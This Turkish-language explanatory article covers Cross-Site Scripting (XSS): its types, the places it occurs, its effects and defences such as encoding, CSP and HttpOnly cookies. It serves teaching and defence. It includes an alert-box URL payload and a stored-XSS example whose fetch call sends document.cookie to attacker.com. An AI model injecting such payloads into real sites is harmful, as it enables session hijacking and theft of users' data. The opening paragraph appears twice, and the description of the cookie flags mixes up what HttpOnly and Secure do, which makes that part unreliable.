Günümüzde web güvenliği, internet kullanıcılarının ve şirketlerin karşılaştığı en büyük tehditlerden biri haline gelmiştir. Web uygulamalarının yaygın kullanımı, siber saldırganlar için de büyük bir hedef oluşturuyor. Bu bağlamda, Cross-Site Scripting (XSS) güvenlik açığı, web geliştiricilerinin ve güvenlik uzmanlarının dikkatle ele alması gereken kritik bir konudur.
Günümüzde web güvenliği, internet kullanıcılarının ve şirketlerin karşılaştığı en büyük tehditlerden biri haline gelmiştir. Web uygulamalarının yaygın kullanımı, siber saldırganlar için de büyük bir hedef oluşturuyor. Bu bağlamda, Cross-Site Scripting (XSS) güvenlik açığı, web geliştiricilerinin ve güvenlik uzmanlarının dikkatle ele alması gereken kritik bir konudur.
Cross-Site Scripting (XSS), bir web uygulamasının kullanıcılarına zarar vermek amacıyla kötü niyetli JavaScript kodunun, web sayfalarına enjekte edilmesidir. Bu saldırılar, kullanıcıların tarayıcılarında çalıştığından, XSS genellikle client-side (istemci tarafı) bir açık olarak sınıflandırılır.
XSS saldırıları, genellikle web uygulamalarının yeterince güvenli kodlama ve doğrulama yapmadığı durumlarda ortaya çıkar. Saldırgan, kötü amaçlı JavaScript kodunu bir web sayfasına enjekte ederek, kullanıcıların kişisel verilerini çalabilir, oturum bilgilerini ele geçirebilir veya kullanıcıları phishing saldırılarına yönlendirebilir.

XSS, üç ana türe ayrılabilir:
Reflected XSS (Yansıyan XSS): Reflected XSS saldırısında, kötü amaçlı JavaScript kodu, kullanıcının girdiği veriler aracılığıyla hemen web sayfasına yansır. Bu genellikle URL parametreleri ya da form verileri üzerinden gerçekleştirilir. Saldırgan, kurbanı manipüle ederek bir URL’yi tıklamaya zorlar ve bu URL, kötü niyetli JavaScript kodunu tetikler.
Örnek: Bir kullanıcı, arama motoru aracılığıyla web uygulamasına kötü amaçlı bir URL gönderildiğinde, arama sonuçları sayfası bu URL'deki kodu yansıtarak çalıştırır.
Bir arama motorunun arama kutusuna yazılan veriyi doğrudan yansıttığını varsayalım. Eğer kullanıcı şu URL'yi kullanıyorsa:
https://example.com/search?q=<script>alert('XSS')</script>
Bu, kullanıcının tarayıcısında hemen çalışacaktır.
Stored XSS (Depolanmış XSS): Depolanmış XSS saldırısı, kötü niyetli kodun sunucuda depolandığı ve daha sonra web sayfasında her gösterildiğinde tetiklendiği bir türdür. Bu tür saldırılar daha tehlikelidir çünkü saldırgan, kötü amaçlı kodu yalnızca bir kez enjekte eder, ancak kod sürekli olarak tetiklenir.
Örnek: Bir kullanıcı, yorumlar bölümüne kötü amaçlı bir JavaScript kodu ekler. Diğer kullanıcılar bu yorumu görüntülediğinde, kod çalıştırılır.
Bir kullanıcı, bir forumda yorum yaparken şu şekilde bir kod gönderir:
<script>fetch('http://attacker.com/steal?cookie=' + document.cookie);</script>
Bu yorum saklanır ve başka bir kullanıcı bu yorumu görüntülediğinde, zararlı script otomatik olarak çalışır.
DOM-based XSS: DOM-based XSS saldırısında, kötü amaçlı kodun tetiklenmesi için sayfanın HTML veya DOM yapısındaki değişikliklere ihtiyaç vardır. Burada, sunucunun yanıtı değil, tamamen istemci tarafında gerçekleşen bir değişiklik sebep olur.
Örnek: Bir JavaScript kodu, sayfadaki parametreleri alarak bir DOM manipülasyonu yapar ve kötü amaçlı scripti çalıştırır.
Bir JavaScript kodu URL parametrelerine dayalı olarak DOM'u manipüle ediyor olabilir.
window.location.hash gibi bir parametre kullanarak, saldırganlar DOM’u manipüle edebilir ve kötü niyetli kod çalıştırabilir.
XSS'in yaygın olarak karşılaşıldığı alanlar aşağıdaki gibidir:
Arama Formları, Yorum Sistemleri, Kullanıcı Giriş Formları, URL Parametreleri, E-posta İstemcileri, Dinamik Web İçeriği, Web Chat Uygulamaları, Admin Panelleri,
İçerik Yönetim Sistemleri (CMS), Dosya Yükleme Formları, Mesajlaşma Uygulamaları, HTTP Başlıkları
Bunların dışında da xss saldırılarının karşılaşıldığı request header alanları aşağıda verilmiştir:
Referer Header, User-Agent Header, Cookie Header, X-Forwarded-For Header, Authorization Header, Custom Headers (Özel başlıklar), Origin Header, Accept-Language Header, Content-Type Header
Not: Görüldüğü gibi XSS saldırılarının saldırı yüzeyi oldukça geniştir. Bu yüzden bu açıkların önlenmesinde mutlaka birden fazla
tedbirin alınması şarttır. Alınması gereken önlemler yalnızca istemci(client) tarafında değil sunucu(server) tarafında da yapılandırılmalıdır.

XSS saldırıları, oldukça çeşitli sonuçlar doğurabilir. Bunlar arasında:
Hesap ele geçirme: Kullanıcının oturum çerezlerini çalmak, onları kötü niyetli bir siteye yönlendirmek.
Bilgi hırsızlığı: Kullanıcıların kişisel bilgilerini, oturum bilgilerini veya kredi kartı verilerini ele geçirmek.
Kötü amaçlı yazılım dağıtımı: Kullanıcıların bilgisayarlarına virüs, trojan veya ransomware gibi kötü amaçlı yazılımlar yüklemek.
Phishing saldırıları: Kullanıcıları, gerçek gibi görünen bir sahte siteye yönlendirerek, kimlik avı yapmak.
XSS açıklarını önlemek için, geliştiricilerin uygulamalarda bazı temel güvenlik önlemleri almaları gerekmektedir:
Input Validation (Girdi Doğrulama ve Temizleme): Kullanıcıdan gelen tüm veriler (formlar, URL parametreleri, başlıklar, vb.) mutlaka doğrulanmalı ve temizlenmelidir. Bu, kötü niyetli karakterlerin (örneğin <, >, &, vb.) engellenmesi anlamına gelir.
Çözüm: HTML encode veya URL encode kullanmak.
Çift HTML Kaçışı (Double HTML Escaping): Kullanıcıdan gelen veriler, HTML içeriği olarak işlenmeden önce doğru şekilde kaçırılmalıdır. Özellikle HTML, JavaScript veya CSS içeriği ile kullanıldığında bu önemlidir.
Çözüm: JavaScript, HTML, URL ve CSS bağlamlarında uygun kodlama tekniklerini kullanmak.
Content Security Policy (CSP): CSP, web sayfasının yalnızca güvenilir kaynaklardan script yüklemesini sağlayan bir güvenlik özelliğidir. Bu, kötü amaçlı JavaScript kodlarının sayfaya enjekte edilmesini engelleyebilir.
Çözüm: Örneğin, CSP'nin başlıklarını şu şekilde ayarlayabilirsiniz:
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-scripts.com;
HTTPOnly ve Secure Cookies (HTTPOnly ve Secure Çerez Bayrakları): Çerezlerinize HTTPOnly ve Secure bayraklarını eklemek, çerezlerin yalnızca güvenli (HTTPS) bağlantılardan erişilebilmesini sağlar ve JavaScript ile çerezlerin çalınmasını engeller.
X-XSS-Protection Başlığı: Bu HTTP başlığı, modern tarayıcılarda XSS saldırılarını engellemek için kullanılabilir. Ancak, yalnızca sınırlı bir koruma sağlar ve başka önlemlerle birlikte kullanılmalıdır.
Sıkı İçerik Doğrulama: Özellikle HTML içeriklerinin oluşturulmasında, içerik doğrulama ve temizlik işlemlerine dikkat edilmelidir. Kötü niyetli HTML ve JavaScript kodlarının eklenmesi engellenmelidir.
JavaScript Güvenli Kodlama Uygulamaları: JavaScript kullanıyorsanız, güvenli JavaScript yöntemleri kullanmak önemlidir. Güvenli olmayan fonksiyonların ve framework'lerin kullanılmaması tavsiye edilir.
Çözüm: innerHTML yerine textContent kullanmak, eval() fonksiyonundan kaçınmak.
NOT: Bu yöntemlerin dışında da birçok teknik ve kütüphane vb. xss saldırılarından korunma yöntemleri mevcuttur. Uygulamanın yapısına göre çözüm yöntemleri genişletilebilir

XSS, web uygulamalarında sıkça karşılaşılan ciddi bir güvenlik açığıdır. Ancak, geliştiriciler uygun güvenlik önlemleri alarak bu tür saldırıları önleyebilir.
Web uygulamaları geliştiren herkesin XSS hakkında bilgi sahibi olması, daha güvenli bir internet ortamı yaratılmasına katkı sağlayacaktır.
Web uygulamalarınızda güvenliği ön planda tutarak, kullanıcılarınızın verilerini koruyabilir ve siber tehditlere karşı güçlü bir savunma hattı oluşturabilirsiniz.
Her zaman uygulamanızın güvenliğini sağlamak için birden fazla katmanı kullanmak en iyisidir.
XSS açıklarını önlemek için daha önce bahsetmediğimiz bazı ek yöntemler ve teknikler de mevcuttur. Her biri farklı senaryolar için geçerli olabilir ve birlikte kullanıldığında daha etkili ve multidisipliner bir güvenlik yaklaşımı sağlar.
Uygulama alanı geniş olması sebebi ile birçok filtre atlatma, kaçınma ve WAF bypass teknikleriyle beraber xss saldırılarının senaryo ve saldırı yüzeyinin ne kadar geniş bir alana yayıldığı unutulmamalı ve bu saldırılara karşı birden çok korunma yönteminin uygulanması sağlanmalıdır. Sürekli güncellenen ve yeni teknolojilerle desteklenen uygulamaların penetrasyon testleri düzenli olarak yapılmalı ve siber saldırılara karşı sistemler zarar görmeden önce gerekli önlemler alınmalıdır.